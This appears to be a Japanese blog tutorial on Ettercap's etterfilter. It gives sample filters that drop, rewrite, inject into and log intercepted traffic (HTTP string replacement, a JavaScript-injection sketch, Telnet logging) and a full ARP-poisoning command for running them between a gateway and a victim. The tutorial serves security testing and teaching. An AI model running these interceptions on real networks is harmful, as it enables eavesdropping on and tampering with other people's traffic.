Ettercapは、ネットワークセキュリティテスト、特に中間者攻撃(Man-in-the-Middle, MitM)のシミュレーションにおいて非常に強力なツールスイートです。その中でもetterfilter
は、Ettercapが処理するネットワークパケットをリアルタイムでフィルタリングしたり、内容を改変したりするためのカスタムルールを作成できる、極めて柔軟性の高い機能を提供します。
このブログ記事では、etterfilter
の基本的な使い方から、具体的なスクリプト例、そして利用上の注意点までを詳しく解説していきます。これを読めば、あなたもetterfilter
を使いこなし、ネットワークトラフィックの解析や改ざん(もちろん、許可された環境でのテスト目的に限ります!)を行うことができるようになるでしょう。🤔
etterfilterとは何か? 📜
etterfilter
は、Ettercapフィルタスクリプト(通常.ef
拡張子を持つテキストファイル)を、Ettercap本体が実行時に解釈できるバイトコード形式(.efc
拡張子)にコンパイルするためのコマンドラインユーティリティです。
コンパイルされたフィルタは、Ettercapの-F
オプションで指定することにより、Ettercapがネットワーク上で中継するパケットに適用されます。
フィルタスクリプトを使うことで、特定の条件に一致するパケットに対して、以下のようなアクションを実行できます:
- パケットの破棄 (Drop): 特定の通信をブロックします。
- パケット内容の置換 (Replace): 通信内容の一部を書き換えます。例えば、HTTP通信中の特定の文字列を変更するなど。
- パケットの注入 (Inject): 既存のパケットの後や代わりに、ファイルの内容やコマンド実行結果からなる新しいパケットデータを挿入します。
- メッセージの表示 (Msg): 特定のパケットが通過した際にコンソールにメッセージを表示します。デバッグに役立ちます。
- パケットのログ記録 (Log): パケットの内容(またはその一部)を指定したファイルに記録します。
これにより、ネットワークトラフィックの挙動を詳細に分析したり、特定のプロトコルの脆弱性をテストしたり、セキュリティポリシーの有効性を検証したりすることが可能になります。ただし、その強力さゆえに、悪用される危険性も伴います。⚠️
etterfilterのコンパイルとフィルタスクリプトの構文 ⚙️
フィルタのコンパイル
まず、フィルタスクリプトファイル(例: myfilter.ef
)を作成します。その後、ターミナルでetterfilter
コマンドを使ってコンパイルします。
etterfilter myfilter.ef -o myfilter.efc
このコマンドは、myfilter.ef
をコンパイルし、バイトコードファイルmyfilter.efc
を生成します。-o
オプションで出力ファイル名を指定しない場合、デフォルトでfilter.ef
という名前で出力されます。
コンパイル時に構文エラーなどがチェックされるため、Ettercapで実行する前にスクリプトの基本的な正しさを確認できます。
コンパイル済みのフィルタファイル(.efc
)の内容を人間が読める形式で確認したい場合は、-t
オプションを使用します。
etterfilter -t myfilter.efc
フィルタスクリプトの基本構文
フィルタスクリプトは、C言語に似た構文を持ちますが、よりシンプルです。基本的な構造は、条件分岐(if
/ else
)とアクション(関数呼び出し)で構成されます。ループ構文(for
, while
)はサポートされていません。
if
文の条件式を囲む括弧( )
の前には必ずスペースが必要です。(例:if (condition)
)- 関数呼び出しの括弧
( )
の前にはスペースを入れてはいけません。(例:drop()
) if
やelse
ブロック内の処理が1行であっても、必ず波括弧{ }
で囲む必要があります。
条件式 (Conditions)
if
文の条件式では、比較演算子や論理演算子、特定の関数を使ってパケットの特性を評価します。
カテゴリ | 要素 | 説明 |
---|---|---|
比較演算子 | == | 等しい |
!= | 等しくない | |
> | より大きい | |
< | より小さい | |
>= | 以上 | |
<= | 以下 | |
論理演算子 | && | AND (かつ) |
|| | OR (または) | |
! | NOT (否定) | |
データアクセス | ip.proto | IPプロトコル番号 (e.g., TCPは6, UDPは17, ICMPは1) |
ip.src | 送信元IPアドレス (e.g., '192.168.1.10' ) |
|
ip.dst | 宛先IPアドレス | |
ip.ttl | IPヘッダのTTL (Time To Live) 値 | |
tcp.src / udp.src | TCP/UDP送信元ポート番号 | |
tcp.dst / udp.dst | TCP/UDP宛先ポート番号 | |
tcp.flags | TCPフラグ (e.g., SYN, ACK, FIN) | |
eth.src / eth.dst | 送信元/宛先MACアドレス | |
DATA.data | パケットのペイロードデータ(ネットワーク上を流れる生データ)。replace() や inject() は主にこのデータを操作します。 |
|
DECODED.data | Ettercapがデコードを試みたペイロードデータ (例: HTTPの中身など)。search() や regex() で使われますが、このバッファへの変更は実際の通信には反映されません。 |
|
条件関数 | search(where, what) | where (通常 DATA.data か DECODED.data ) の中に文字列 what が含まれるか検索します。 |
regex(where, pattern) | where が正規表現 pattern にマッチするか評価します。 |
アクション関数 (Actions)
条件が真の場合に実行される処理です。
関数 | 説明 |
---|---|
drop() | 現在のパケットを破棄し、宛先に転送しません。 |
inject(filepath) | 指定したファイル filepath の内容を現在のパケットの直後 (またはdrop() と併用する場合は代わり) に挿入します。ファイル内容はバイナリデータとして扱われます。 |
execinject(command) | 指定したシェルコマンド command を実行し、その標準出力を現在のパケットの直後 (またはdrop() と併用する場合は代わり) に挿入します。 |
replace(what, with) | DATA.data 内の文字列 what を文字列 with で置換します。バイナリデータも扱え、16進数エスケープシーケンス (例: \x41\x42 ) が利用可能です。 |
log(what, logfile) | データ what (通常 DATA.data や DECODED.data ) を指定したファイル logfile に追記します。 |
msg(message) | 指定した文字列 message をEttercapのコンソールに出力します。デバッグに便利です。 |
kill() | 現在の接続を切断します。通常はdrop() と併用されます。 |
exit() | フィルタスクリプトの実行を終了します。これ以降のルールは評価されません。 |
実践!etterfilter スクリプト例 📝
ここでは、具体的なフィルタスクリプトの例をいくつか紹介します。これらの例を参考に、独自のフィルタを作成してみてください。
例1: 特定のIPアドレスからのTCP通信をブロックする
IPアドレス 192.168.1.100
からのTCPパケットをすべて破棄します。
# block_tcp_from_specific_ip.ef
if (ip.proto == TCP && ip.src == '192.168.1.100') {
msg("Blocking TCP packet from 192.168.1.100\n");
drop();
}
例2: HTTP通信内の特定の文字列を置換する
宛先ポートが80番(HTTP)のTCPパケット内で、”example.com” という文字列を “hacked-example.com” に置換します。
# replace_http_string.ef
if (ip.proto == TCP && tcp.dst == 80) {
# gzip圧縮を無効化しようと試みる(成功するとは限らない)
if (search(DATA.data, "Accept-Encoding")) {
replace("Accept-Encoding", "Accept-DontEncode");
msg("Tried to disable compression.\n");
}
# 文字列置換
if (search(DATA.data, "example.com")) {
replace("example.com", "hacked-example.com");
msg("Replaced 'example.com' in HTTP data.\n");
}
}
例3: 特定のWebサイトへのアクセス時に警告を注入する
特定のWebサイト (例: target-site.com
を含むHTTP GETリクエスト) へのアクセスを検知し、レスポンスに簡単なJavaScriptアラートを注入します。
inject()
を使う場合は、注入するHTML/JSをファイルに記述します。
# inject_js_alert.ef
# まず、注入するHTML/JSをファイルに保存します (e.g., alert.html)
# <script>alert('This connection is being monitored!');</script>
# フィルタスクリプト
if (ip.proto == TCP && tcp.dst == 80) {
# GETリクエストを探す(非常に単純なチェック)
if (regex(DATA.data, "GET /.*target-site\.com.*")) {
msg("Detected access to target-site.com\n");
# ここではリクエスト時にログを取るだけにする。
# 実際の注入はレスポンス時に行う必要があり、より複雑なフィルタが必要。
# 例: TCPシーケンス番号などを考慮してレスポンスパケットを特定し、
# drop() と inject() を使って改ざんしたレスポンスを送る。
}
}
# HTTPレスポンスを特定し、コンテンツを変更する例(概念)
if (ip.proto == TCP && tcp.src == 80) {
# レスポンスヘッダの終わり (空行 \r\n\r\n) を探し、その後に注入を試みる
# replace("\r\n\r\n", "\r\n\r\n<script>alert('Monitored!');</script>");
# または、完全なレスポンスをファイルで用意し、drop() + inject() する。
# if (特定条件) { drop(); inject("./modified_response.bin"); }
}
実際のHTML/JavaScriptインジェクションは、HTTPヘッダ(特にContent-Length
)の整合性を保つ必要があり、単純なreplace
やinject
だけでは壊れたページになる可能性が高いです。より高度なテクニックや専用のプロキシツールが必要になることが多いです。
例4: Telnetトラフィックをログに記録する
Telnetプロトコル(TCPポート23)の通信内容をファイル telnet_log.txt
に記録します。
# log_telnet.ef
if (ip.proto == TCP) {
if (tcp.src == 23 || tcp.dst == 23) {
# DECODED.data を使うと、表示可能な文字としてログに残しやすい場合がある
log(DECODED.data, "./telnet_log.txt");
msg("Logged Telnet packet.\n");
}
}
(GitHubにある公式サンプル etter.filter.examples も非常に参考になります。)
Ettercapでのフィルタの使用方法 🚀
フィルタスクリプトをetterfilter
でコンパイルしたら、Ettercapを実行する際に-F
オプションでコンパイル済みファイル (.efc
) を指定します。
例えば、ARPスプーフィングを行い、ターゲット 192.168.1.101
とゲートウェイ 192.168.1.1
の間の通信に myfilter.efc
を適用する場合(テキストモード、非対話的):
sudo ettercap -Tq -F myfilter.efc -M arp:remote /192.168.1.1// /192.168.1.101//
-T
: テキストモードを使用-q
: パケット内容をコンソールに表示しない (quietモード)-F myfilter.efc
: コンパイル済みフィルタファイルを指定-M arp:remote
: ARPポイズニングによる中間者攻撃を実行/192.168.1.1//
: ターゲット1 (ゲートウェイなど)/192.168.1.101//
: ターゲット2 (特定のクライアントなど)
GUIモード (-G
オプション) でEttercapを使用している場合は、メニューからフィルタをロードするオプションがあるはずです (バージョンによってUIは異なります)。
⚠️ 重要な注意点と倫理的考察 ⚖️🚫
Ettercapおよびetterfilter
は非常に強力なツールですが、その使用には大きな責任が伴います。以下の点を必ず理解し、遵守してください。
まとめ 🎉
etterfilter
は、Ettercapの強力なフィルタリングエンジンであり、ネットワークトラフィックをリアルタイムで分析、操作するための柔軟な手段を提供します。基本的な構文を理解し、提供されている関数を組み合わせることで、特定の通信のブロック、内容の改ざん、ログ記録など、様々なタスクを実行できます。
しかし、その強力さゆえに、悪用された場合の影響は甚大です。必ず、法と倫理を遵守し、許可された環境でのみ、教育・研究・正当なテスト目的で使用してください。 特にHTTPS通信への限界を理解し、ツールの能力と限界を正しく認識することが重要です。💻🛡️
この記事が、etterfilter
を安全かつ効果的に活用するための一助となれば幸いです。
参考情報
- Ettercap 公式サイト (GitHub): https://github.com/Ettercap/ettercap (最新情報やソースコードはこちら)
- Ettercap Manpage (例): https://manpages.ubuntu.com/manpages/trusty/en/man8/etterfilter.8.html (基本的なコマンドオプションや構文の概要)
- Ettercap Filter Examples (GitHub): https://github.com/Ettercap/ettercap/blob/master/share/etter.filter.examples (公式のフィルターサンプル集)
コメント